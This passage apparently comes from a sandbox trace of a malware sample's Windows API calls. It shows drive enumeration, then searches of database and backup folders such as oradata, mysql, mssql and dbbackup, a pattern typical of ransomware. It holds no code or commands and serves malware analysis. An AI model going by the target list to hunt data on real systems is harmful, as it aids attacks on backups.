GetDriveTypeA (lpRootPathName="A:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="Z:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="Y:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="X:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="W:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="V:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="U:") returned 0x1 [0125.906] GetDriveTypeA (lpRootPathName="T:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="S:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="R:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="Q:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="P:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="O:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="N:") returned 0x1 [0125.907] GetDriveTypeA (lpRootPathName="M:") returned 0x1 [0125.908] GetDriveTypeA (lpRootPathName="L:") returned 0x1 [0125.908] FindFirstFileA (in: lpFileName="C:\\db\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="Y")) returned 0xffffffff [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.908] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.908] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.909] FindFirstFileA (in: lpFileName="C:\\app\\Administrator\\oradata\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="a")) returned 0xffffffff [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x82e0d8 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.909] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.909] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.910] FindFirstFileA (in: lpFileName="C:\\mysql\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="i")) returned 0xffffffff [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.910] FindFirstFileA (in: lpFileName="C:\\mssql\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="q")) returned 0xffffffff [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.910] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.910] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.911] FindFirstFileA (in: lpFileName="C:\\back\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="y")) returned 0xffffffff [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.911] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.911] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.912] FindFirstFileA (in: lpFileName="C:\\backup\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="\x81")) returned 0xffffffff [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.912] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.912] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.913] FindFirstFileA (in: lpFileName="C:\\dbbackup\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="\x89")) returned 0xffffffff [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.913] FindFirstFileA (in: lpFileName="C:\\databackup\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="\x91")) returned 0xffffffff [0125.913] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.913] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.914] FindFirstFileA (in: lpFileName="C:\\JspStudy\\MySQL\\data\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="\x99")) returned 0xffffffff [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.914] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.914] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a88 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85e0 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f85a8 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c9a38 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8570 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8538 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c99e8 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8500 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0125.915] FindFirstFileA (in: lpFileName="C:\\U8SOFT\\Admin\\*.*", lpFindFileData=0x18e6f4 | out: lpFindFileData=0x18e6f4*(dwFileAttributes=0x2c, ftCreationTime.dwLowDateTime=0x7e3450, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x7d96b0, ftLastAccessTime.dwHighDateTime=0x7b73f0, ftLastWriteTime.dwLowDateTime=0x7b7518, ftLastWriteTime.dwHighDateTime=0x7f84c8, nFileSizeHigh=0x7b7988, nFileSizeLow=0x650057, dwReserved0=0x18e6ac, dwReserved1=0x77391ecd, cFileName="ôç\x18", cAlternateFileName="¡")) returned 0xffffffff [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8688 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8650 | out: hHeap=0x7b0000) returned 1 [0125.915] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618) returned 1 [0125.915] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f8618 | out: hHeap=0x7b0000) returned 1 [0125.915] 